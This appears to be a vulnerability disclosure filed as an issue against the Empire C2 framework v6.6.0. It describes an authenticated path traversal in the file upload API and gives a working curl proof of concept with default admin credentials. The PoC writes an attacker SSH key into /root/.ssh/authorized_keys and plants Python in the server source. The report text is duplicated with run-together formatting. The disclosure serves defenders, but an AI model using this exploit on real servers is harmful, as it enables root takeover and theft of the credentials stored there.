Is there an existing issue for this?
Empire Version
v6.6.0
Python Version
Operating System
Linux
Database
MySQL
Current Behavior
Summary
Any authenticated Empire operator, including a low privileged non-admin operator, can write a file to an arbitrary absolute path on the Empire C2 server host. The multipart upload filename is used verbatim to build the destination path with no sanitization, so a filename containing ../ sequences escapes the downloads directory. Writing to a location such as /root/.ssh/authorized_keys or a Python file inside the Empire source tree yields remote code execution and full takeover of the C2 server, which holds every operator's listeners, credentials, and agent keys.
Details
The upload sink is DownloadService.create_download in empire/server/core/download_service.py:
148 def create_download(
149 self,
150 db: Session,
151 user: models.User,
152 file: UploadFile | Path,
153 tags: list[str] | None = None,
154 ):
...
160 filename = file.name if isinstance(file, Path) else file.filename
161
162 location = (
163 empire_config.directories.downloads / "uploads" / user.username / filename
164 )
165 location.parent.mkdir(parents=True, exist_ok=True)
166
167 filename, location = self._increment_filename(location)
168
169 with location.open("wb") as buffer:
170 if isinstance(file, Path):
171 with file.open("rb") as f:
172 shutil.copyfileobj(f, buffer)
173 else:
174 shutil.copyfileobj(file.file, buffer)
file.filename is the client supplied multipart filename. Starlette does not normalize it (it is preserved verbatim, including ../). It is joined into the destination with pathlib's / operator, which does NOT collapse ... location.parent.mkdir(parents=True, exist_ok=True) then creates whatever parent chain the .. segments resolve to, and location.open("wb") writes the attacker controlled bytes there. There is no os.path.basename, no secure_filename, no base directory containment check (Path.resolve().is_relative_to(...)), and no rejection of ... _increment_filename only de-duplicates a name and does not contain the path.
Two endpoints reach this sink, both gated only by get_current_active_user (any logged in operator, admin or not):
POST /api/v2/downloads/ in empire/server/api/v2/download/download_api.py:123-130:
123 @router.post("/", status_code=201, response_model=Download)
124 def create_download(
125 user: CurrentActiveUser,
126 db: CurrentSession,
127 download_service: DownloadServiceDep,
128 file: UploadFile = File(...),
129 ):
130 return domain_to_dto_download(download_service.create_download(db, user, file))
The router default is dependencies=[Depends(get_current_active_user)] (download_api.py:42).
POST /api/v2/users/{uid}/avatar in empire/server/api/v2/user/user_api.py:184-200, which also calls update_user_avatar -> the same create path and only checks a trivially spoofable content_type.startswith("image/").
Contrast with the agent check-in file save path, which the project DID protect: empire/server/core/agent_communication_service.py gates writes through _is_path_safe (save_file.resolve().is_relative_to(download_dir.resolve())) and reduces the final component with Path(parts[-1]).name. The operator upload path has no equivalent guard, so the same class of bug that was defended on the implant channel is open on the authenticated API.
Because the default Docker image runs the server as root, writes land as root, making /root/.ssh/authorized_keys and overwriting server side Python both viable RCE primitives.
Expected Behavior
Steps To Reproduce
PoC
Server: default bcsecurity/empire:v6.6.0 container. Default admin is empireadmin / password123. The exploit only needs a regular (non-admin) operator account.
BASE=http://TARGET:1337
# Admin creates a regular, non-admin operator (or use any existing operator account)
ADMIN_TOK=$(curl -s $BASE/token -d "username=empireadmin&password=password123" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
curl -s -X POST $BASE/api/v2/users/ -H "Authorization: Bearer $ADMIN_TOK" \
-H "Content-Type: application/json" \
-d '{"username":"lowpriv","password":"LowPrivPass123","is_admin":false}'
# Log in as the regular operator
LOW_TOK=$(curl -s $BASE/token -d "username=lowpriv&password=LowPrivPass123" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# Arbitrary write outside the downloads directory using a ../ filename.
# Craft the multipart body by hand so the filename is not stripped client side.
printf -- '------B\r\nContent-Disposition: form-data; name="file"; filename="../../../../../../../../root/.ssh/authorized_keys"\r\nContent-Type: text/plain\r\n\r\nssh-ed25519 AAAA_ATTACKER_KEY attacker@evil\r\n------B--\r\n' > mp.bin
curl -s -X POST "$BASE/api/v2/downloads/" \
-H "Authorization: Bearer $LOW_TOK" \
-H "Content-Type: multipart/form-data; boundary=----B" \
--data-binary @mp.bin -w "\nHTTP %{http_code}\n"
Observed real response (HTTP 201). The location echoed back contains the literal .. chain, and the file is created at the resolved absolute path on the host:
{"id":1,"location":"/root/.local/share/empire/downloads/uploads/lowpriv/../../../../../../../../tmp/EMPIRE_TRAVERSAL_PWN.txt","filename":"EMPIRE_TRAVERSAL_PWN.txt","size":54,...}
HTTP 201
Verifying on the host:
# cat /tmp/EMPIRE_TRAVERSAL_PWN.txt
written-by-regular-operator-lowpriv-via-path-traversal
# ls -la /root/.ssh/authorized_keys
-rw-r--r-- 1 root root ... /root/.ssh/authorized_keys # contains the attacker key
A second run with filename="../../../../../../../../empire/empire/server/PWN_marker.py" wrote attacker Python into the server source tree (HTTP 201), which executes on import or plugin reload. Both confirm arbitrary write as root.
Impact
Authenticated arbitrary file write on the Empire C2 host as a regular (non-admin) operator. Practical consequences:
- Remote code execution and full host takeover by dropping
/root/.ssh/authorized_keys, a cron job, or overwriting a server side Python file that is imported.
- Compromise of all other operators and all C2 state (listeners, harvested credentials, agent staging keys, the Empire database).
- Privilege escalation: a low privileged operator who should not be able to change server configuration gains complete control of the server and every other operator's sessions.
The vulnerable component writes outside its intended data directory into the host filesystem owned by a different security authority, so the scope is changed and the impact is critical.
Anything else?
Affected Versions: confirmed on v6.6.0 (commit dbe7e71)
Is there an existing issue for this?
Empire Version
v6.6.0
Python Version
Operating System
Linux
Database
MySQL
Current Behavior
Summary
Any authenticated Empire operator, including a low privileged non-admin operator, can write a file to an arbitrary absolute path on the Empire C2 server host. The multipart upload filename is used verbatim to build the destination path with no sanitization, so a filename containing
../sequences escapes the downloads directory. Writing to a location such as/root/.ssh/authorized_keysor a Python file inside the Empire source tree yields remote code execution and full takeover of the C2 server, which holds every operator's listeners, credentials, and agent keys.Details
The upload sink is
DownloadService.create_downloadinempire/server/core/download_service.py:file.filenameis the client supplied multipart filename. Starlette does not normalize it (it is preserved verbatim, including../). It is joined into the destination withpathlib's/operator, which does NOT collapse...location.parent.mkdir(parents=True, exist_ok=True)then creates whatever parent chain the..segments resolve to, andlocation.open("wb")writes the attacker controlled bytes there. There is noos.path.basename, nosecure_filename, no base directory containment check (Path.resolve().is_relative_to(...)), and no rejection of..._increment_filenameonly de-duplicates a name and does not contain the path.Two endpoints reach this sink, both gated only by
get_current_active_user(any logged in operator, admin or not):POST /api/v2/downloads/inempire/server/api/v2/download/download_api.py:123-130:The router default is
dependencies=[Depends(get_current_active_user)](download_api.py:42).POST /api/v2/users/{uid}/avatarinempire/server/api/v2/user/user_api.py:184-200, which also callsupdate_user_avatar-> the same create path and only checks a trivially spoofablecontent_type.startswith("image/").Contrast with the agent check-in file save path, which the project DID protect:
empire/server/core/agent_communication_service.pygates writes through_is_path_safe(save_file.resolve().is_relative_to(download_dir.resolve())) and reduces the final component withPath(parts[-1]).name. The operator upload path has no equivalent guard, so the same class of bug that was defended on the implant channel is open on the authenticated API.Because the default Docker image runs the server as root, writes land as root, making
/root/.ssh/authorized_keysand overwriting server side Python both viable RCE primitives.Expected Behavior
Steps To Reproduce
PoC
Server: default
bcsecurity/empire:v6.6.0container. Default admin isempireadmin/password123. The exploit only needs a regular (non-admin) operator account.Observed real response (HTTP 201). The
locationechoed back contains the literal..chain, and the file is created at the resolved absolute path on the host:Verifying on the host:
A second run with
filename="../../../../../../../../empire/empire/server/PWN_marker.py"wrote attacker Python into the server source tree (HTTP 201), which executes on import or plugin reload. Both confirm arbitrary write as root.Impact
Authenticated arbitrary file write on the Empire C2 host as a regular (non-admin) operator. Practical consequences:
/root/.ssh/authorized_keys, a cron job, or overwriting a server side Python file that is imported.The vulnerable component writes outside its intended data directory into the host filesystem owned by a different security authority, so the scope is changed and the impact is critical.
Anything else?
Affected Versions: confirmed on v6.6.0 (commit dbe7e71)